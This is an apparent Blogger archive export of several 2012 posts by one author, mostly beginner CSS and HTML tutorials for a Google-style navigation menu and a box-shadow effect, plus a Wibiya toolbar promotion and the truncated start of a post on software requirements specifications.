#ddd; margin:10px 0 10px 0;} <br /> <br />/*--for showing down arrow in drop down menu item--*/ <br />.arrowdown{color#eee; font-size:0.5em;} <br /> <br />/*--for the left navigation menu--*/ <br />.floatleft{float:left;} <br /> <br />/*--for the right options navigation menu--*/ <br />.floatright{float:right;} <br /> <br />/*--clear all floating, left and right--*/ <br />.clear{clear:both;} </span><span style="font-size: x-large;"><span style="color: #45818e;"><br /></span></span><br />
<span style="color: #45818e;"><br /></span>
<span style="font-size: x-large;">STEP 2 :<span style="color: #ea9999;">HTML CODING</span></span><span style="color: #45818e;"><br /></span><br />
<span style="font-size: x-large;"><span style="color: #76a5af;"><br /></span></span>
<span style="font-size: small;"><span style="color: #76a5af;"><div id="navwrapper"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <ul id="nav" class="floatleft"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">+ Sanchit</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a class="current" href="#">Web</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Images</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Video</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Maps</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Gmail</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">News</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a class="dmenu" href="#">More <span class="arrowdown">▼</span></a> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <ul> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Translate</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Books</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Schoolar</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Blogs</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li class="menuseprator"></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Youtube</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Calender</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Photos</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Documents</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Sites</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Groups</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li class="menuseprator"></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Even More »</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </ul> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </ul> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <ul id="nav" class="floatright"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">sasanchit1@gmail.com</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Settings</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <li><a href="#">Logout</a></li> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </ul> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> <br class="clear"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"> </span><span style="color: #76a5af;"><br /></span><span style="color: #76a5af;"></div></span></span><span style="color: #ea9999;"> </span><span style="font-size: x-large;"><span style="color: #ea9999;"> </span></span><br />
<span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span>
<span style="font-size: small;"><i>Now in the head tag,write style tag also and then copy css coding.After it, write body tag and copy html coding.Now save this with .html extension and open it in chrome,explorer etc. Here you get what you want.</i></span><span style="font-size: small;"><span style="color: #76a5af;"><br /></span></span><br />
<span style="font-size: small;"><br /></span>
<span style="font-size: x-large;">ALTERNATIVE EXAMPLE :</span><span style="font-size: small;"><br /></span><br />
<span style="font-size: small;">Here I will show you full coding so that easily you will get and surely you all become crazy because it is too long. So just copy and paste following coding :</span><span style="font-size: x-large;"><br /></span><br />
<html><br />
<head><br />
<br />
<style><br />
body { <br />
margin:0 auto; <br />
} <br />
<br />
/*--navigation wrapper--*/ <br />
#navwrapper { <br />
margin:0 auto; <br />
background-color: #2D2D2D; <br />
} <br />
<br />
<br />
#nav { <br />
font-family: Arial, Helvetica, sans-serif; <br />
font-size:12px; <br />
padding-top:4px; <br />
} <br />
<br />
#nav, #nav ul { <br />
padding: 0; <br />
margin: 0; <br />
list-style: none; <br />
font-family: Arial, Helvetica, sans-serif; <br />
} <br />
<br />
/*--main nav links style--*/ <br />
#nav a { <br />
display:block; <br />
padding:7px 7px 7px 7px; <br />
color:#ccc; <br />
text-decoration:none; <br />
} <br />
<br />
#nav a.dmenu { <br />
<br />
} <br />
<br />
#nav a.dmenu:hover { <br />
color:#3366CC !important; <br />
background-color: #fff !important; <br />
} <br />
<br />
#nav li { <br />
float: left; <br />
} <br />
<br />
#nav li {position: relative;} <br />
<br />
/* hide from IE, mac */ <br />
#nav li {position: static; width: auto;} <br />
/* end hiding from IE5 mac */ <br />
<br />
/*--drop down menu styling--*/ <br />
#nav li ul { <br />
position: absolute; <br />
display: none; <br />
margin-left:-1px; <br />
padding-bottom:10px; <br />
background-color: #FFFFFF; <br />
border: 1px solid #bbb; <br />
border-top:none; <br />
-moz-box-shadow: 0 0 5px #ddd; <br />
-webkit-box-shadow: 0 0 5px #ddd; <br />
box-shadow: 0 0 5px #ddd; <br />
/*--make it top of all the elements on page, so that it can be visible--*/ <br />
z-index:5000; <br />
} <br />
<br />
#nav li:hover a, #nav a:focus, <br />
#nav a:active { <br />
padding:7px 7px 7px 7px; <br />
color:#fff; <br />
background:#444; <br />
text-decoration:none; <br />
} <br />
<br />
#nav li ul, #nav ul li { <br />
width: 10em; <br />
} <br />
<br />
/*--drop down menu styling is different from main nav, strict rule--*/ <br />
#nav ul li a { <br />
color: #3366CC !important; <br />
border-right: 0; <br />
} <br />
#nav ul li a:hover { <br />
color:#3366CC !important; <br />
background-color: #eef3fb !important; <br />
border-right: 0; <br />
} <br />
<br />
/*--the selected, current item in the navigation menu--*/ <br />
#nav a.current{ <br />
color:#fff; <br />
font-weight:bold; <br />
background:#2D2D2D; <br />
text-decoration:none; <br />
border-top:2px solid #C33; <br />
padding-bottom:5px; /*--removing 2px border from 7px padding--*/ <br />
} <br />
<br />
#nav a.current:hover{ <br />
padding-bottom:5px; /*--removing 2px border from 7px padding--*/ <br />
} <br />
<br />
#nav li:hover ul { <br />
display: block; <br />
} <br />
<br />
#nav li:hover ul a{ <br />
color: #000000; <br />
background-color: transparent; <br />
} <br />
<br />
#nav ul a:hover { <br />
background-color: #606060!important; <br />
color: #FFFFFF !important; <br />
} <br />
<br />
/*--used in drop down menu items--*/ <br />
.menuseprator{border-bottom:1px solid #ddd; margin:10px 0 10px 0;} <br />
<br />
/*--for showing down arrow in drop down menu item--*/ <br />
.arrowdown{color#eee; font-size:0.5em;} <br />
<br />
/*--for the left navigation menu--*/ <br />
.floatleft{float:left;} <br />
<br />
/*--for the right options navigation menu--*/ <br />
.floatright{float:right;} <br />
<br />
/*--clear all floating, left and right--*/ <br />
.clear{clear:both;} <br />
</style><br />
</head><br />
<body><br />
<div id="navwrapper"> <br />
<br />
<ul id="nav" class="floatleft"> <br />
<li><a href="#">+ Sanchit</a></li> <br />
<li><a class="current" href="#">Web</a></li> <br />
<li><a href="#">Images</a></li> <br />
<li><a href="#">Video</a></li> <br />
<li><a href="#">Maps</a></li> <br />
<li><a href="#">Gmail</a></li> <br />
<li><a href="#">News</a></li> <br />
<br />
<li><a class="dmenu" href="#">More <span class="arrowdown">▼</span></a> <br />
<ul> <br />
<li><a href="#">Translate</a></li> <br />
<li><a href="#">Books</a></li> <br />
<li><a href="#">Schoolar</a></li> <br />
<li><a href="#">Blogs</a></li> <br />
<li class="menuseprator"></li> <br />
<li><a href="#">Youtube</a></li> <br />
<li><a href="#">Calender</a></li> <br />
<li><a href="#">Photos</a></li> <br />
<li><a href="#">Documents</a></li> <br />
<li><a href="#">Sites</a></li> <br />
<li><a href="#">Groups</a></li> <br />
<li class="menuseprator"></li> <br />
<li><a href="#">Even More »</a></li> <br />
</ul> <br />
<br />
</li> <br />
<br />
</ul> <br />
<br />
<ul id="nav" class="floatright"> <br />
<li><a href="#">sasanchit1@gmail.com</a></li> <br />
<li><a href="#">Settings</a></li> <br />
<li><a href="#">Logout</a></li> <br />
</ul> <br />
<br />
<br class="clear"> <br />
<br />
</div> <br />
</body><br />
</html><span style="font-size: small;"><br /></span></div>
<br />
<span style="font-size: x-large;">OUTPUT ::</span><br />
<span style="font-size: x-large;"><br /></span>
<style>
body {
margin:0 auto;
}
/*--navigation wrapper--*/
#navwrapper {
margin:0 auto;
background-color: #2D2D2D;
}
#nav {
font-family: Arial, Helvetica, sans-serif;
font-size:12px;
padding-top:4px;
}
#nav, #nav ul {
padding: 0;
margin: 0;
list-style: none;
font-family: Arial, Helvetica, sans-serif;
}
/*--main nav links style--*/
#nav a {
display:block;
padding:7px 7px 7px 7px;
color:#ccc;
text-decoration:none;
}
#nav a.dmenu {
}
#nav a.dmenu:hover {
color:#3366CC !important;
background-color: #fff !important;
}
#nav li {
float: left;
}
#nav li {position: relative;}
/* hide from IE, mac */
#nav li {position: static; width: auto;}
/* end hiding from IE5 mac */
/*--drop down menu styling--*/
#nav li ul {
position: absolute;
display: none;
margin-left:-1px;
padding-bottom:10px;
background-color: #FFFFFF;
border: 1px solid #bbb;
border-top:none;
-moz-box-shadow: 0 0 5px #ddd;
-webkit-box-shadow: 0 0 5px #ddd;
box-shadow: 0 0 5px #ddd;
/*--make it top of all the elements on page, so that it can be visible--*/
z-index:5000;
}
#nav li:hover a, #nav a:focus,
#nav a:active {
padding:7px 7px 7px 7px;
color:#fff;
background:#444;
text-decoration:none;
}
#nav li ul, #nav ul li {
width: 10em;
}
/*--drop down menu styling is different from main nav, strict rule--*/
#nav ul li a {
color: #3366CC !important;
border-right: 0;
}
#nav ul li a:hover {
color:#3366CC !important;
background-color: #eef3fb !important;
border-right: 0;
}
/*--the selected, current item in the navigation menu--*/
#nav a.current{
color:#fff;
font-weight:bold;
background:#2D2D2D;
text-decoration:none;
border-top:2px solid #C33;
padding-bottom:5px; /*--removing 2px border from 7px padding--*/
}
#nav a.current:hover{
padding-bottom:5px; /*--removing 2px border from 7px padding--*/
}
#nav li:hover ul {
display: block;
}
#nav li:hover ul a{
color: #000000;
background-color: transparent;
}
#nav ul a:hover {
background-color: #606060!important;
color: #FFFFFF !important;
}
/*--used in drop down menu items--*/
.menuseprator{border-bottom:1px solid #ddd; margin:10px 0 10px 0;}
/*--for showing down arrow in drop down menu item--*/
.arrowdown{color#eee; font-size:0.5em;}
/*--for the left navigation menu--*/
.floatleft{float:left;}
/*--for the right options navigation menu--*/
.floatright{float:right;}
/*--clear all floating, left and right--*/
.clear{clear:both;}
</style>
<br />
<div id="navwrapper">
<ul class="floatleft" id="nav">
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">+ Sanchit</a></li>
<li><a class="current" href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Web</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Images</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Video</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Maps</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Gmail</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">News</a></li>
<li><a class="dmenu" href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">More <span class="arrowdown">▼</span></a>
<ul>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Translate</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Books</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Schoolar</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Blogs</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Youtube</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Calender</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Photos</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Documents</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Sites</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Groups</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Even More »</a></li>
</ul>
</li>
</ul>
<ul class="floatright" id="nav">
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">sasanchit1@gmail.com</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Settings</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Logout</a></li>
</ul>
<br />
<br />
<br />
<br />
IF FURTHER ANY PROBLEM OCCURS,THEN e-mail or comment me..............<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br class="clear" /></div>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-91608208186453499842012-07-01T13:54:00.000+05:302013-02-05T01:35:34.904+05:30GOOGLE<div dir="ltr" style="text-align: left;" trbidi="on">
<blockquote class="tr_bq">
<span style="color: red;"><span style="font-size: large;"> A</span></span><span style="font-size: large;">s you already have seen top navigation menu in google,so I decided to write my post on this beautiful feature of google.This navigation is quite attractive.Well,it is having a nice white grayed image in background with cool blue hover effect.</span></blockquote>
<br />
<a name='more'></a><br />
<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: large;"> So, before getting into code or live example, lets see what we are going to design:</span><br />
<span style="font-size: large;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-igAdT3TSgHjXvpPknAx6j5xNixhHDdDOWCM1BVVmveuZ5VifZpwnNwE47IaVfGUMqBoGeICrweS7E6xA7_LeIWS29FNrXQ3bA9g_YlKwQUtlwimnGbBAAbzV_3JzQErm7L2YY3wOXuA/s1600/screenshot-google-like-top-nav-menu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-igAdT3TSgHjXvpPknAx6j5xNixhHDdDOWCM1BVVmveuZ5VifZpwnNwE47IaVfGUMqBoGeICrweS7E6xA7_LeIWS29FNrXQ3bA9g_YlKwQUtlwimnGbBAAbzV_3JzQErm7L2YY3wOXuA/s400/screenshot-google-like-top-nav-menu.png" width="400" /></a></div>
<h1>
</h1>
<h1>
<span style="font-size: x-large;">STEP-1</span> : </h1>
<b> <span style="color: #0b5394;">CSS coding</span></b>
<br />
<pre class="css" name="code">/* Main navigation wraper */
#navwrap{margin:0 auto; padding:0; background:url(nav_bg_sprite.png) top #ffffff repeat-x; background-position:0px -40px; height:20px; padding:5px 10px; border-top:2px solid #BAD3EA; }
/*Navigation menu*/
#nav{font-size:13px; padding-top:2px;}
#nav a{padding:7px 10px 7px 10px; color:#7FB6E6; text-decoration:none; }
#nav a:hover{padding:7px 10px 7px 10px; color:#666; background:url(nav_bg_sprite.png) repeat-x; background-position:0px -70px; text-decoration:none; border-top:2px solid #1A54E1;}
/*For selected item*/
#nav a.current{padding:7px 10px 7px 10px; color:#333; font-weight:bold; background:url(nav_bg_sprite.png) repeat-x; background-position:0px -70px; text-decoration:none; border-top:2px solid #1A54E1;}
/*options menu itemm with icon*/
.optionsmenu{ background:url(nav_bg_sprite.png) no-repeat; background-position:0px 0px; padding:0 5px 0 10px;}
.floatleft{float:left;} /* for the left navigation menu */
.floatright{float:right} /* for the right options navigation menu */
.clear{clear:both;} /* clear all floating, left and right */
</pre>
<h1>
STEP-2: </h1>
<b><span style="color: #0b5394;">HTML CODING</span> </b>
<br />
<br />
<b><br /> <div id="navwrap"> <br /> <div id="nav" class="floatleft"> <br /> <a class="current" href="#">Web</a> <br /> <a href="#">Images</a> <br /> <a href="#">Video</a> <br /> <a href="#">Maps</a> <br /> <a href="#">News</a> </b></div>
<blockquote class="tr_bq">
<blockquote class="tr_bq">
<b> </div></b></blockquote>
</blockquote>
<div dir="ltr" style="text-align: left;" trbidi="on">
<b><br /></b>
<b> <br /> <div id="nav" class="floatright"> <br /> <a href="#">Login</a> <br /> <a href="#"><span class="optionsmenu">Option </span></a> <br /> </div> <br /> <br /> <div class="clear"></div> <br /> <br /></div></b></div>
<i><span style="font-size: large;">Now copy these into your notepad and surely you will get navigation menu like google.</span></i><br />
<b><span style="font-size: x-large;"><br /></span></b>
<b><span style="font-size: x-large;">After copying it,you will get as:</span></b><br />
<br />
<title>Sanchit</title>
<style>
/* Main navigation wraper */
#navwrap{margin:0 auto; padding:0; background:url(nav_bg_sprite.png) top #ffffff repeat-x; background-position:0px -40px; height:20px; padding:5px 10px; border-top:2px solid #BAD3EA; }
/*Navigation menu*/
#nav{font-size:13px; padding-top:2px;}
#nav a{padding:7px 10px 7px 10px; color:#7FB6E6; text-decoration:none; }
#nav a:hover{padding:7px 10px 7px 10px; color:#666; background:url(nav_bg_sprite.png) repeat-x; background-position:0px -70px; text-decoration:none; border-top:2px solid #1A54E1;}
/*For selected item*/
#nav a.current{padding:7px 10px 7px 10px; color:#333; font-weight:bold; background:url(nav_bg_sprite.png) repeat-x; background-position:0px -70px; text-decoration:none; border-top:2px solid #1A54E1;}
/*options menu itemm with icon*/
.optionsmenu{ background:url(nav_bg_sprite.png) no-repeat; background-position:0px 0px; padding:0 5px 0 10px;}
.floatleft{float:left;} /* for the left navigation menu */
.floatright{float:right} /* for the right options navigation menu */
.clear{clear:both;} /* clear all floating, left and right */
</style>
<br />
<div id="navwrap">
<div class="floatleft" id="nav">
<a class="current" href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Web</a>
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Images</a>
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Video</a>
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Maps</a>
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">News</a>
</div>
<div class="floatright" id="nav">
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#">Login</a>
<a href="http://www.blogger.com/blogger.g?blogID=396441975322116692#"><span class="optionsmenu"> option </span></a>
</div>
</div>
<br />
<br />
<span style="font-size: large;">For alternative example,click on the following link:</span><br />
<span style="font-size: large;"><br /></span>
<a class="button" href="file:///C:/Users/user/Desktop/google2.html">DEMO</a><br />
<br />
<i>If any problem persist,then email me or comment......</i></div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-50828478559447750802012-06-30T23:44:00.001+05:302013-02-05T01:21:52.733+05:30How to create CSS3 "box shadow " property<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh25PCTF2vGaNTpkCjKr38zM6a-fV2SXX6W2MSoa8vqmTzSgW3KzV8e8g2a3kwmpaomLBYupUNmyxmEARuqzCXQN1ZdyCmwZsuAdf6IhhtYmilt4P54QkYipH0Jfk0UstvZnN_MGMMK6Js/s1600/box+shadow.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh25PCTF2vGaNTpkCjKr38zM6a-fV2SXX6W2MSoa8vqmTzSgW3KzV8e8g2a3kwmpaomLBYupUNmyxmEARuqzCXQN1ZdyCmwZsuAdf6IhhtYmilt4P54QkYipH0Jfk0UstvZnN_MGMMK6Js/s400/box+shadow.jpeg" width="252" /></a></div>
<br />
<br />
In this article,I discuss about "box shadow" property of CSS3.Basically its coding is quite simple and it is done for the attraction of people.It shows a clear view.<br />
<br />
As shown in the above diagram,you can copy in your notepad and save it with .html extension.<br />
If you write the following code,and open it in internet explorer,then you will get as....<br />
<a name='more'></a>.<br />
<title>box shadow example</title>
<style>
body{
margin:100px auto;
width:800px;
background:#bbb;
font-family:Arial, Helvetica, sans-serif;
}
h1{font-size:2.5em; color:#333333; font-weight:normal; margin-bottom:30px; }
p{line-height:18px; font-weight:normal; font-size:0.8em;}
.whitebox{
padding:5px 20px 20px 20px;
background:#fff;
/*--Border Shadow---------------------------------------*/
-webkit-box-shadow: 5px 5px 10px #555;
-moz-box-shadow: 5px 5px 10px #555;
box-shadow: 5px 5px 10px #555;
/*------------------------------------------------------*/
/*--Border Radius, to make the box round----------------*/
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
/*------------------------------------------------------*/
}
</style>
<br />
<div class="whitebox">
<h1>
This is the page heading</h1>
heyy,here is box shadow property of css3 and now enjoy it.....
</div>
<br />
<br />
<b>Write the code in the head tag,starting with curly brackets and then write the following code ::</b><br />
<blockquote>
</blockquote>
body{<br />
margin:100px auto;
width:800px;
background:#bbb;
font-family:Arial, Helvetica, sans-serif;<br />
}<br />
h1{font-size:2.5em; color:#333333; font-weight:normal; margin-bottom:30px; }<br />
p{line-height:18px; font-weight:normal; font-size:0.8em;}
<br />
.whitebox{<br />
padding:5px 20px 20px 20px;<br />
background:#fff;<br />
/*--Border Shadow---------------------------------------*/<br />
-webkit-box-shadow: 5px 5px 10px #555;<br />
-moz-box-shadow: 5px 5px 10px #555;<br />
box-shadow: 5px 5px 10px #555;<br />
/*------------------------------------------------------*/
<br />
/*--Border Radius, to make the box round----------------*/<br />
-webkit-border-radius: 8px;<br />
-moz-border-radius: 8px;<br />
border-radius: 8px;<br />
/*------------------------------------------------------*/<br />
}<br />
<i><blockquote>
If further any problem persist,then comment........</blockquote>
</i>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-12244045193827254452012-06-30T14:03:00.000+05:302013-02-05T01:21:04.388+05:30facebook chat<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsnEocfPiaMT7bab4W7DVLrsOdj5xZ98MHhUCClLVwcAAsi26-4ABXvi72WaBIWyvJp13yAisK997D7vzcUA1SnXCTcnOI5fosMNGu8yS4BODqmZWUjtQVsadU_XFx9iQ0hzwcOAqm5M/s1600/wibiya_logo.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsnEocfPiaMT7bab4W7DVLrsOdj5xZ98MHhUCClLVwcAAsi26-4ABXvi72WaBIWyvJp13yAisK997D7vzcUA1SnXCTcnOI5fosMNGu8yS4BODqmZWUjtQVsadU_XFx9iQ0hzwcOAqm5M/s320/wibiya_logo.gif" width="180" /></a></div>
<a href="http://www.wibiya.com/">Wibiya.com</a> provides easy creation of bottom toolbar (floating to bottom) called Wibar.
<br />
<br />
Wibiya enables blogs to integrate the most exciting services, applications and widgets of their choice into their blog through customized web-based toolbars. They offer tools, such as:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyRwSBrZSIzNIm_q7I3qdTAA41DWYWrGP57LloaDOWGI9f6rciei7LvCLhViMwD8d2DsBBsesqO53hautvY88m7gxl01iC4xv8jEofYkyqCWTbUR8oDsdjdOI7BwNjchFG8Q3pm_P0K-4/s1600/faceAndTwittHomeImg.png" imageanchor="1" style="clear: left; float: right; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyRwSBrZSIzNIm_q7I3qdTAA41DWYWrGP57LloaDOWGI9f6rciei7LvCLhViMwD8d2DsBBsesqO53hautvY88m7gxl01iC4xv8jEofYkyqCWTbUR8oDsdjdOI7BwNjchFG8Q3pm_P0K-4/s320/faceAndTwittHomeImg.png" width="222" /></a></div>
<br />
<br />
Recent Post, Random Post/Article<br />
Sharing options<br />
Creating a blog community via facebook connect<br />
Enabling twitter alerts on your blog<br />
Enabling post navigation<br />
It’s totally free<br />
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCO9jiZqSvbBZx-FyVrnARm0CnFfeQnJj5YL7J3_7lNQk1irbGUJsYQfu8VGj43U1Uvr94-qtm6XMNai_U71V8aN0bFatAJIP3NAyyjrLuXuh-T4jl6_2FtvbgciFUc5wzKtaj3fdrpxg/s1600/webChatHomeImg.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCO9jiZqSvbBZx-FyVrnARm0CnFfeQnJj5YL7J3_7lNQk1irbGUJsYQfu8VGj43U1Uvr94-qtm6XMNai_U71V8aN0bFatAJIP3NAyyjrLuXuh-T4jl6_2FtvbgciFUc5wzKtaj3fdrpxg/s320/webChatHomeImg.png" width="224" /></a></div>
<b>
Chat box</b><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiohzZlKJYpDQVb9cTxegxYJ3uERSZGRSi-XeXJw9kblAcD_-oAIRVSTYEO7TBNm2xorYR5T9DWF4jgGaPvRlAQP8-x6TMtu5R5qzS_SKCMi89iXW1jL2_uWhRLzjBxPOzqG5idk6DjmkI/s1600/page1_image.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiohzZlKJYpDQVb9cTxegxYJ3uERSZGRSi-XeXJw9kblAcD_-oAIRVSTYEO7TBNm2xorYR5T9DWF4jgGaPvRlAQP8-x6TMtu5R5qzS_SKCMi89iXW1jL2_uWhRLzjBxPOzqG5idk6DjmkI/s320/page1_image.jpg" width="320" /></a></div>
Wibar works with all popular blogs like: Blogger, WordPress, TypePad, etc. Also it works with almost any type of web application. I am excited about this service and you can chat there by selecting community network like facebook,twitter,mySpace and yahoo. Hope you will enjoy it.
<br />
<br />
This service is very useful. Though you can use it by registering yourself and go to the link (Source-www.wibiya.com).click here on the below link<br />
<a href="http://www.wibiya.com/">click here</a>
<br />
<br />
<i>If the above link is not working then go to its direct site-- www.wibiya.com</i>
</div>
Sanchit Agarwalhttp://www.blogger.com/profile/06754124100913324937noreply@blogger.com0tag:blogger.com,1999:blog-396441975322116692.post-62309659324944325032012-06-30T12:47:00.000+05:302013-02-05T01:19:12.120+05:30Software Requirements Specification (SRS) Template – Start Writing SRS For Your Project<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBMsaHoWh9duLQVujVwqHaIaCVlMarJjxI-Wunb8sk49BPKVMXBOskBfsUA0YJEFi9gG97pMcaQKRfH7uAgJUPDAwdPpKuEAE42dSf25dgrsRMaiNyuXpl2ZUAvYCYqXBhSaPqGEK0geU/s1600/SRS.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBMsaHoWh9duLQVujVwqHaIaCVlMarJjxI-Wunb8sk49BPKVMXBOskBfsUA0YJEFi9gG97pMcaQKRfH7uAgJUPDAwdPpKuEAE42dSf25dgrsRMaiNyuXpl2ZUAvYCYqXBhSaPqGEK0geU/s320/SRS.png" width="232" /></a></div>
<b>What is SRS?
</b><br />
<blockquote>
</blockquote>
A SRS is basically an organization’s understanding (in writing) of a customer or potential client’s system requirements and dependencies at a particular point of time (usually) prior to any actual design or development work. It’s a two-way insurance policy that assures that both the client and the organization understand each other’s requirements from every perspective at a given point of time.<br />
<br />
<b>Benefits of a Good SRS<a name='more'></a></b><br />
<br />
Establish the basis for agreement between the customers and the suppliers on what the software product is to do.<br />
Reduce the development effort.<br />
Provide a basis for estimating costs and schedules.<br />
Provide a baseline for validation and verification.<br />
